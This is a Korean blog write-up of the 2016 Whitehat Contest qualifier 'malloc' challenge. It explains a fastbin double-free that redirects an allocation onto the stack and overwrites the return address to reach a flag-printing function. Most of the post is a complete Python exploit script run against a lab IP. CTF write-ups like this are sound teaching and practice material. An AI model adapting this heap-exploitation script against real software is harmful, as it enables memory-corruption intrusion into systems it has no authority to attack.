y0u_bat
2016 Whitehat contest Malloc 본문
2016 Whitehat contest Malloc
2016 화이트햇콘테스트 예선전 malloc 풀이
이 문제는 fastbin구조에서 더블프리버그를 이용하여 fd를 조작해, 푸는 문제이다.
간단히 메뉴를 설명하자면,
1번은 malloc 하는 메뉴
2번은 free하는 메뉴
3번은 print하는 메뉴
메뉴 4번은 modify 하는 메뉴이다.
내가 푼 방법은 1번 메뉴만 잘보면 된다. how2heap fastbindupinto_stack.c와 같은 방법으로 풀었다.
32 이하만큼 원하는 주소로 할당이 가능하고 write가 가능하다.
스택쪽으로 주소를 돌리고, bof를 하여 system("cat /home/easy_malloc/flag")쪽으로 $pc를 바꾸면 된다.
exploit.py
from socket import *
from telnetlib import *
from struct import *
p = lambda x : pack("<Q",x)
up = lambda x : unpack("<Q",x)[0]
HOST = "192.168.207.132"
PORT = 4444
get_flag = 0x400986
def recvuntil(str_):
data = ''
while not data.endswith(str_):
tmp = s.recv(1)
if not tmp: break
data += tmp
return data
def malloc(index,str_):
s.send("1\n")
print recvuntil("Enter size :")
s.send(str(index)+'\n')
print recvuntil("Enter data : ")
s.send(str_+'\n')
print s.recv(2048)
def leak():
print recvuntil("Stack Address : ")
leak_address = int(s.recv(14),16)
print "[+] Leak Stack Address : " + hex(leak_address)
print recvuntil(">")
return leak_address
def free(index):
s.send("2\n")
print recvuntil("Which one do you want to free : ")
s.send(str(index)+'\n')
print recvuntil(">")
s = socket(AF_INET,SOCK_STREAM)
s.connect((HOST,PORT))
leak_address = leak()
malloc(32,"a"*32)
malloc(32,"b"*32)
free(1)
free(2)
free(1)
malloc(32,p(leak_address-0x58).split("\x00\x00")[0])
malloc(32,"b"*32)
malloc(32,"a"*32)
malloc(49,"a"*24+p(get_flag))
print s.recv(1024)
t = Telnet()
t.sock = s
t.interact()
'CTF' 카테고리의 다른 글
[HITCON] Secret Holder (0) | 2016.11.24 |
---|---|
[BCTF] BCloud (0) | 2016.11.18 |
[2016] EKOPARTY PWN25 (0) | 2016.10.29 |
[2016] EKOPARTY PWN100 (0) | 2016.10.29 |
[2016] HDCON System Q3-1 (0) | 2016.10.28 |
Comments